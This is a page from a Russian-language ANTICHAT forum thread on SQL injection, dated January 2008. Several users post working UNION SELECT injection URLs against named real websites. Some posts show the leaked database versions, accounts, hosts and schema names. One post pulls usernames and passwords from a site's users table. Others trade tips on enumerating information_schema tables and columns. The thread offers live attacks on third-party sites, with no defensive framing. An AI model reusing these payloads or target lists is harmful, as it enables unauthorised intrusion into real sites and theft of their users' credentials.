ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 439 из 1602 « Первая < 339389429 435 436 437 438 439 440 441 442 443 4494895399391439 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.01.2008, 13:22
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию
http://orda-clan.ru/comments.php?n=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x2F ,cast(version()+as+binary),cast(database()+as+bina ry),cast(user()+as+binary)),12/*

4.1.11-Debian_4sarge7-log/mihanikus_site/mihanikus_site@85.249.135.3


Доступа к information_schema нет. Еще есть таблицы mihanikus.user, mihanikus.users, orda.user, orda.users - но к ним тоже нету доступа ) Подбирай, возможно найдешь другие интересные таблицы
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 12.01.2008, 13:24
WuWu
Новичок
Регистрация: 16.12.2007
Сообщений: 27
С нами: 9686381

Репутация: 48
По умолчанию
Код HTML:
http://www.vkus.by/index.php?n=-1+union+select+1,2,concat(Version(),0x3a,USER(),0x3a,DATABASE()),4,5,6/*
симпатично вышло =)
 
Ответить с цитированием

  #3  
Старый 12.01.2008, 13:47
WuWu
Новичок
Регистрация: 16.12.2007
Сообщений: 27
С нами: 9686381

Репутация: 48
По умолчанию
Код HTML:
http://www.pilot-film.com/index.php?id=2+union+select+1,2,3,4,5,6,7,8,9,10,11/*
блин опять затупил....
 
Ответить с цитированием

  #4  
Старый 12.01.2008, 14:29
vp$
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
С нами: 9765139

Репутация: 177
По умолчанию
а подумать?
Цитата:
http://www.pilot-film.com/index.php?id=222222222+union+select+1,AES_DECRYPT( AES_ENCRYPT(user(),0x71),0x71),3,4,5,6,7,8,9,10,11/*
 
Ответить с цитированием

  #5  
Старый 12.01.2008, 15:23
Welemir
Познающий
Регистрация: 10.01.2008
Сообщений: 58
С нами: 9650471

Репутация: -2
По умолчанию
http://www.uprava.org/section.php?id=235+union+select+0,1,2,3,4,5,column _name+from+uprava_org.razdels/*

узнал только,что есть колонка id.Других помоему нет,перебрал все названия,что встретились в форме)).К другим таблицам я доступа не нашёл.
 
Ответить с цитированием

  #6  
Старый 12.01.2008, 15:30
Welemir
Познающий
Регистрация: 10.01.2008
Сообщений: 58
С нами: 9650471

Репутация: -2
По умолчанию
Цитата:
Сообщение от Welemir  
http://www.uprava.org/section.php?id=235+union+select+0,1,2,3,4,5,column _name+from+uprava_org.razdels/*

узнал только,что есть колонка id.Других помоему нет,перебрал все названия,что встретились в форме)).К другим таблицам я доступа не нашёл.

К таблица information_schema и id нетьу доступа)(
 
Ответить с цитированием

  #7  
Старый 12.01.2008, 15:00
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию
http://www.haifa.ru/article.php?id=-743+union+select+1,concat_ws(0x2f,version(),user() ,database()),3,4,5,6,7,8,9/*&Lang=Ru
5.0.45/haifaru@81.177.16.101/haifaru_artcls
-----------------------------------------------------------------------
http://www.muscul.ru/article.php?id=-5+union+select+1,2,concat_ws(0x2f,version(),user() ,database()),4,5,6,7,8,9/*
4.1.22-log/musculr4_first@localhost/musculr4_main
-----------------------------------------------------------------------
http://www.rustrana.ru/article.php?nid=-3435+union+select+concat_ws(0x2f,version(),user(), database()),2,3/*
Вывод в тайтле))
-----------------------------------------------------------------------
http://www.chayka.com/article.php?id=-53+union+select+1,concat_ws(0x2f,version(),user(), database()),3,4,5,6,7,8,9,10,11/*
5.0.45/seagullmag@localhost/seagullmag
Все таблицы:
http://www.chayka.com/article.php?id=-53+union+select+1,table_name,3,4,5,6,7,8,9,10,11+f rom+information_schema.tables/*
Все колонки:
http://www.chayka.com/article.php?id=-53+union+select+1,column_name,3,4,5,6,7,8,9,10,11+ from+information_schema.columns/*
-----------------------------------------------------------------------
http://www.phpbuddy.com/article.php?id=-8+union+select+concat_ws(0x2f,version(),user(),dat abase()),2,3,4,5,6/*
4.1.21-standard/phpbud22_phpbudd@localhost/phpbud22_phpbuddy
-----------------------------------------------------------------------
http://www.michaelpollan.com/article.php?id=-80+union+select+1,concat_ws(0x2f,version(),user(), database()),3,4,5,6,7,8,9,10/*
4.1.22-standard/pollan_article@localhost/pollan_articles
-----------------------------------------------------------------------
http://www.mcpost.com/article.php?id=-418+union+select+1,2,3,concat_ws(0x2f,version(),us er(),database()),5,6,7,8,9,10,11,12/*
4.0.27-log/mcpost@localhost/mcpost
http://www.mcpost.com/article.php?id=-418+union+select+1,2,concat(username,char(58),pass word),4,5,6,7,8,9,10,11,12+from+users/*
Можно через limit
 
Ответить с цитированием

  #8  
Старый 12.01.2008, 15:37
Welemir
Познающий
Регистрация: 10.01.2008
Сообщений: 58
С нами: 9650471

Репутация: -2
По умолчанию
http://www.ipecac.com/bio.php?id=44+union+select+0,1,2,3/*

Доступа нету ваапще:РР,зато запрос order+by пашет.
 
Ответить с цитированием

  #9  
Старый 12.01.2008, 15:44
WuWu
Новичок
Регистрация: 16.12.2007
Сообщений: 27
С нами: 9686381

Репутация: 48
По умолчанию
я занова перебрал... больше этого нечего недобился

Код HTML:
http://www.uprava.org/section.php?id=-1+union+select+1,2,concat(Version(),0x3a,USER(),0x3a,DATABASE()),4,5,6,7/*
 
Ответить с цитированием

  #10  
Старый 12.01.2008, 15:48
Welemir
Познающий
Регистрация: 10.01.2008
Сообщений: 58
С нами: 9650471

Репутация: -2
По умолчанию
Цитата:
Сообщение от WuWu  
я занова перебрал... больше этого нечего недобился

Код HTML:
http://www.uprava.org/section.php?id=-1+union+select+1,2,concat(Version(),0x3a,USER(),0x3a,DATABASE()),4,5,6,7/*

Тож самое,ток я по другому сделал:Р.Перебирал полчаса и нифига)
 
Ответить с цитированием
Ответ
Страница 439 из 1602 « Первая < 339389429 435 436 437 438 439 440 441 442 443 4494895399391439 > Последняя »



Предыдущая тема Следующая тема

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.